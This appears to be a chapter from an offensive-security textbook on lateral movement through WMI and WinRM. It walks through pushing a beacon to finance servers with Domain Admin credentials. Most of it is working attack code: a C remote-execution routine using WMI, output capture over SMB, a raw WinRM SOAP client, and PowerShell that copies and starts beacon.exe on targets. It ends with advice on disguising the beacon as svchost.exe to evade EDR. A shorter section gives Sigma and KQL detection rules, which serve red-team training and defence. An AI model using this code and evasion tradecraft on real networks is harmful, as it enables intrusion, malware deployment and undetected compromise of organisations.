Chapter 147

Lateral Movement via WMI and WinRM

WMI and WinRM are the two dominant built-in remote execution primitives in Windows environments — both are signed Microsoft binaries, both run over legitimate management ports, and both are present in virtually every enterprise. This chapter builds remote execution from raw COM (for WMI) and raw HTTP (for WinRM), compares the opsec profile of each against PsExec/SMB-based lateral movement, and covers the detection signatures defenders use to catch both.

Scenario

You have Domain Admin credentials and need to push a beacon to 12 servers in the finance segment simultaneously. PsExec is blocked — endpoint protection flags the service binary creation pattern. You need a technique that uses built-in Windows management infrastructure, generates no new service, and produces a parent process of WMI or WSMan rather than services.exe. WMI Win32_Process.Create() and WinRM Invoke-Command satisfy both requirements.

WMI Remote Execution Overview

WMI remote execution transport: Port 135/TCP: DCOM endpoint mapper (initial connection) Dynamic high port (49152-65535): actual WMI traffic after OXID resolution Methods: Win32_Process.Create() ← most common — spawns a new process on target Win32_ScheduledJob.Create() ← at.exe style, deprecated but works ActiveScript/CommandLine EventConsumer (ch126) ← persistence, not lateral movement Process tree on target: WmiPrvSE.exe → NOT services.exe → (that's what PsExec looks like) WmiPrvSE.exe grandparent is svchost.exe running WinMgmt service Authentication: DCOM uses RPC authentication — supports NTLM (for PtH) and Kerberos (for PtT) COAUTHIDENTITY structure passes explicit credentials

WMI Remote Execution via COM (C)

#include "windows.h"
#include "wbemidl.h"
#include "objbase.h"
#include "stdio.h"
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")

BOOL WmiExec(const wchar_t* target, const wchar_t* domain,
              const wchar_t* user, const wchar_t* password,
              const wchar_t* command) {

    CoInitializeEx(NULL, COINIT_MULTITHREADED);
    CoInitializeSecurity(NULL, -1, NULL, NULL,
        RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL, EOAC_NONE, NULL);

    // Build remote namespace path: \\target\root\cimv2
    wchar_t ns[256];
    swprintf_s(ns, 256, L"\\\\%s\\root\\cimv2", target);

    // Explicit credentials via COAUTHIDENTITY
    COAUTHIDENTITY authId = {0};
    authId.User           = (USHORT*)user;
    authId.UserLength     = (ULONG)wcslen(user);
    authId.Domain         = (USHORT*)domain;
    authId.DomainLength   = (ULONG)wcslen(domain);
    authId.Password       = (USHORT*)password;
    authId.PasswordLength = (ULONG)wcslen(password);
    authId.Flags          = SEC_WINNT_AUTH_IDENTITY_UNICODE;

    COAUTHINFO authInfo = {0};
    authInfo.dwAuthnSvc  = RPC_C_AUTHN_WINNT;
    authInfo.dwAuthzSvc  = RPC_C_AUTHZ_NONE;
    authInfo.dwAuthnLevel = RPC_C_AUTHN_LEVEL_CALL;
    authInfo.dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE;
    authInfo.pAuthIdentityData = &authId;
    authInfo.dwCapabilities = EOAC_NONE;

    COSERVERINFO serverInfo = {0};
    serverInfo.pwszName = (wchar_t*)target;
    serverInfo.pAuthInfo = &authInfo;

    // Create IWbemLocator on remote machine
    IWbemLocator* pLoc = NULL;
    HRESULT hr = CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER,
                                   IID_IWbemLocator, (void**)&pLoc);
    if (FAILED(hr)) { printf("[-] CoCreateInstance: 0x%X\n", hr); return FALSE; }

    IWbemServices* pSvc = NULL;
    BSTR bstrNs = SysAllocString(ns);
    hr = pLoc->ConnectServer(bstrNs,
        SysAllocString(user), SysAllocString(password),
        NULL, 0, NULL, NULL, &pSvc);
    SysFreeString(bstrNs);

    if (FAILED(hr)) {
        printf("[-] ConnectServer: 0x%X\n", hr);
        pLoc->Release(); return FALSE;
    }
    // Set authentication level on the proxy
    CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
                      RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE,
                      &authId, EOAC_NONE);

    // Get Win32_Process class object
    IWbemClassObject* pClass = NULL;
    BSTR bstrClass = SysAllocString(L"Win32_Process");
    pSvc->GetObject(bstrClass, 0, NULL, &pClass, NULL);
    SysFreeString(bstrClass);

    // Get the Create method
    IWbemClassObject* pMethod = NULL;
    BSTR bstrMethod = SysAllocString(L"Create");
    pClass->GetMethod(bstrMethod, 0, &pMethod, NULL);

    // Build input parameters: CommandLine
    IWbemClassObject* pIn = NULL;
    pMethod->SpawnInstance(0, &pIn);
    VARIANT varCmd; varCmd.vt = VT_BSTR;
    varCmd.bstrVal = SysAllocString(command);
    pIn->Put(L"CommandLine", 0, &varCmd, 0);
    VariantClear(&varCmd);

    // Execute Win32_Process.Create() on remote target
    IWbemClassObject* pOut = NULL;
    hr = pSvc->ExecMethod(SysAllocString(L"Win32_Process"), bstrMethod,
                           0, NULL, pIn, &pOut, NULL);
    if (SUCCEEDED(hr)) {
        VARIANT varPid;
        pOut->Get(L"ProcessId", 0, &varPid, NULL, NULL);
        printf("[+] Process created on %S, PID: %d\n",
               target, varPid.uintVal);
        VariantClear(&varPid);
    }
    pOut->Release(); pIn->Release();
    pMethod->Release(); pClass->Release();
    pSvc->Release(); pLoc->Release();
    SysFreeString(bstrMethod);
    CoUninitialize();
    return SUCCEEDED(hr);
}

Capturing WMI Command Output via Registry Exfil

// Win32_Process.Create() is fire-and-forget — no output channel.
// To capture output, redirect to a file and read via WMI or SMB:

// Command: cmd.exe /c whoami > C:\Windows\Temp\out.txt
// Then: read C:\Windows\Temp\out.txt via CIM_DataFile or SMB \\target\C$\Windows\Temp\out.txt

// Example: run command, write output to temp file, read via WMI CIM_DataFile:

wchar_t cmd[512];
swprintf_s(cmd, 512, L"cmd.exe /c %s > C:\\Windows\\Temp\\wmiout.txt 2>&1", command);
WmiExec(target, domain, user, password, cmd);
Sleep(2000); // allow command to complete

// Read output via SMB (\\target\C$\...)
wchar_t smbPath[512];
swprintf_s(smbPath, 512, L"\\\\%s\\C$\\Windows\\Temp\\wmiout.txt", target);
HANDLE hOut = CreateFileW(smbPath, GENERIC_READ, FILE_SHARE_READ,
                           NULL, OPEN_EXISTING, 0, NULL);
if (hOut != INVALID_HANDLE_VALUE) {
    char buf[4096] = {0}; DWORD read;
    ReadFile(hOut, buf, sizeof(buf)-1, &read, NULL);
    printf("%s", buf);
    CloseHandle(hOut);
    DeleteFileW(smbPath);
}

WinRM Remote Execution via WinHTTP

// WinRM uses SOAP/HTTP on port 5985 (HTTP) or 5986 (HTTPS).
// Raw POST to http://target:5985/wsman with WSMan envelope.
// This bypasses winrm.cmd and powershell.exe entirely.
// Auth: Kerberos (default in domain), NTLM, or Basic+HTTPS.

#include "winhttp.h"
#pragma comment(lib, "winhttp.lib")

const char* WSMAN_SHELL_CREATE =
    "<s:Envelope xmlns:s='http://www.w3.org/2003/05/soap-envelope'"
    " xmlns:wsmv='http://schemas.microsoft.com/wbem/wsman/1/wsmanfault'"
    " xmlns:wsman='http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd'"
    " xmlns:wsa='http://schemas.xmlsoap.org/ws/2004/08/addressing'"
    " xmlns:rsp='http://schemas.microsoft.com/wbem/wsman/1/windows/shell'>"
    "<s:Header>"
    "<wsa:To>http://TARGET:5985/wsman</wsa:To>"
    "<wsman:ResourceURI>http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd</wsman:ResourceURI>"
    "<wsa:Action>http://schemas.xmlsoap.org/ws/2004/09/transfer/Create</wsa:Action>"
    "</s:Header>"
    "<s:Body><rsp:Shell><rsp:Environment/><rsp:WorkingDirectory>C:\\</rsp:WorkingDirectory></rsp:Shell></s:Body>"
    "</s:Envelope>";

BOOL WinRMPost(const wchar_t* host, USHORT port,
               const char* soapBody, char** responseOut) {
    HINTERNET hSession = WinHttpOpen(L"WinRM-C/1.0",
        WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
    HINTERNET hConnect = WinHttpConnect(hSession, host, port, 0);
    HINTERNET hReq = WinHttpOpenRequest(hConnect, L"POST", L"/wsman",
        NULL, NULL, NULL, 0);

    // Enable Kerberos/NTLM auto-auth
    DWORD authSchemes = WINHTTP_AUTH_SCHEME_NEGOTIATE;
    WinHttpSetOption(hReq, WINHTTP_OPTION_AUTOLOGON_POLICY,
                     &authSchemes, sizeof(authSchemes));

    BOOL ok = WinHttpSendRequest(hReq,
        L"Content-Type: application/soap+xml;charset=UTF-8", -1,
        (void*)soapBody, (DWORD)strlen(soapBody), (DWORD)strlen(soapBody), 0);
    WinHttpReceiveResponse(hReq, NULL);

    DWORD sz = 0, total = 0;
    while (WinHttpQueryDataAvailable(hReq, &sz) && sz > 0) {
        char* chunk = (char*)HeapAlloc(GetProcessHeap(), 0, sz+1);
        DWORD read; WinHttpReadData(hReq, chunk, sz, &read);
        // accumulate into responseOut...
        HeapFree(GetProcessHeap(), 0, chunk);
    }
    WinHttpCloseHandle(hReq);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return ok;
}

WinRM via PowerShell Remoting (Operational)

# PowerShell-level WinRM — cleaner for operators who have PS execution
# Invoke-Command runs in the WsmProvHost.exe process on the target

# Basic execution:
Invoke-Command -ComputerName target01 -ScriptBlock { whoami; ipconfig }

# With explicit credentials (PtH-compatible via Kerberos):
$cred = Get-Credential
Invoke-Command -ComputerName target01 -Credential $cred -ScriptBlock { ... }

# Persistent session (more efficient for multiple commands):
$s = New-PSSession -ComputerName target01
Invoke-Command -Session $s -ScriptBlock { ... }
Copy-Item -ToSession $s -Path .\beacon.exe -Destination C:\Windows\Temp\
Invoke-Command -Session $s -ScriptBlock { Start-Process C:\Windows\Temp\beacon.exe }
Remove-PSSession $s

# Using PtH context (run after CreateProcessWithLogonW LOGON_NETCREDENTIALS_ONLY):
# The PowerShell process inherits the PtH logon session — no explicit cred needed:
Invoke-Command -ComputerName target01 -ScriptBlock { Start-Process calc.exe }

# HTTPS WinRM for environments with 5985 blocked:
# Enable-WSManCredSSP or use -UseSSL (port 5986)

WMI vs WinRM vs PsExec Comparison

FactorWMI Win32_ProcessWinRM / PS RemotingPsExec / SMB Service
Port135 + dynamic DCOM5985/5986 (HTTP/S)445 (SMB)
Parent process on targetWmiPrvSE.exewsmprovhost.exeservices.exe
Service createdNoNoYes — PSEXESVC
Output captureNo (needs file redirect)Yes — nativeYes — native pipe
Admin requiredYes (remote WMI)Yes (or WinRM DCOM perms)Yes
Typical EDR detectionWmiPrvSE spawning unusual childwsmprovhost spawning unusual childPSEXESVC creation + 7045
Blocked by firewall?Often (DCOM dynamic ports)Often blocked at perimeter, open internallyRequires 445 open

Detection Engineering

title: WMI Remote Process Creation — Suspicious Child of WmiPrvSE
logsource:
  product: windows
  category: process_creation   # Sysmon 1 / Event 4688
detection:
  selection:
    ParentImage|endswith: '\WmiPrvSE.exe'
  filter_legit:
    Image|endswith:
      - '\WmiPrvSE.exe'
      - '\scrcons.exe'
      - '\msiexec.exe'
  condition: selection AND NOT filter_legit
level: high
tags: [attack.lateral_movement, T1021.003]

title: WinRM Lateral Movement — wsmprovhost Unusual Child Process
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith: '\wsmprovhost.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\mshta.exe'
  condition: selection
level: high

-- MDE KQL: WMI lateral movement from workstation to server
DeviceProcessEvents
| where InitiatingProcessFileName =~ "WmiPrvSE.exe"
| where FileName !in~ ("WmiPrvSE.exe", "scrcons.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessCommandLine, AccountName, LogonId
| order by Timestamp desc

Q&A

How can WMI lateral movement be performed without spawning cmd.exe or PowerShell on the target — and why does that matter for detection?

Win32_Process.Create() accepts any executable as the CommandLine parameter — it doesn't have to be cmd.exe or PowerShell. Modern EDR rules specifically flag WmiPrvSE.exe → cmd.exe or WmiPrvSE.exe → powershell.exe as high-confidence lateral movement. The alternative is to call your beacon binary directly: if you've already copied svchost.exe (renamed beacon) to C:\Windows\Temp\ via SMB, the WMI command becomes C:\Windows\Temp\svchost.exe — a child of WmiPrvSE that looks like a legitimate system binary being spawned from the WMI service. The detection logic has to evaluate the binary by hash or by behavioral telemetry rather than parent-child process name pairing.

A further refinement is using Win32_ScheduledJob (the at.exe interface) or WMI eventing (Chapter 126) rather than Win32_Process.Create() at all. Scheduled jobs produce a child of svchost.exe (Task Scheduler), not WmiPrvSE. WMI event subscriptions execute in scrcons.exe, not WmiPrvSE. Each execution mechanism has a different parent process signature, and shifting between them requires defenders to maintain detection rules for all execution channels rather than a single parent-child pair. The underlying principle for detection-aware operators is: choose the execution method whose parent process is most expected on the target system, and whose child process image name blends into the normal process baseline of that host. A server that runs hundreds of WMI queries per hour is a worse detection surface than a workstation where WmiPrvSE is rarely seen at all.